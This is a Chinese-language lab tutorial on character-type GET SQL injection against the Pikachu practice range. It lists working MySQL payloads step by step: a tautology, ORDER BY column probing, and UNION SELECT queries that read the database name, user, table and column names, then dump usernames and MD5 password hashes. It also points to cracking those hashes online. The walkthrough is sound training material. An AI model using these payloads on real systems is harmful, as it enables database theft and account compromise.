NCNIPC--皮卡丘web靶场SQL注入（字符型注入）

我们打开我们的靶场，我们带着同学简单练习一个字符型注入（get），点击SQL-Inject，点击字符型注入（get），我们直接就测试一下输入1’如图所示。

点击“查询”按钮后，回显出报错了，报错信息为“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1”
这个报错信息就是典型的可能存在sql注入的信息，然后我们输入永真式1’or 1=1 #然后点击“查询”按钮，因为永真式恒成立，所以我们得到了全部信息。

我们输入

1'order by 1#

探测有回显多少个行数，输入

1'order by 1#

发现回显正常，然后输入

1'order by 2#

发现回显正常，如图所示，输入

1'order by 3#

发现回显错误

Unknown column '3' in 'order clause'

那么就说明后端数据库传递过来的数据一共回显两行。

接下来我们就利用union进行联合查询注入，我们输入

1'union select 1,database()#

然后点击查询，会回显数据库名

根据回显的信息，我们得到数据库名为pikachu，然后我们可以继续探测一下数据库用户名，输入

1'union select 1,user()#

根据回显root@localhost得到数据库用户名为root。
我们已知数据库名，接下来我们想要拿到数据表名，我们输入

1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')#

如图所示。

我们已经知道了数据表名，那么我们接下来就是要查询数据表中的列名，比如我们关注users表，那么我们在输入框输入

1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#

如图所示。

我们发现了我们比较关注的username与password，所以我们尝试拿到这两个的字段名，我们输入

1'union select (select group_concat(username) from users),(select group_concat(password) from users)#

如图所示。

拿到了password的密码的md5值（这个靶场是使用md5加密的），然后我们可以使用彩虹表破解，或者使用一些在线破解网站尝试破解，比如cmd5网站等，网址为https://www.cmd5.com，如图所示，我们sql的练习就先介绍到这里，还有很多其他类型的sql注入，大家可以自己尝试去做一下。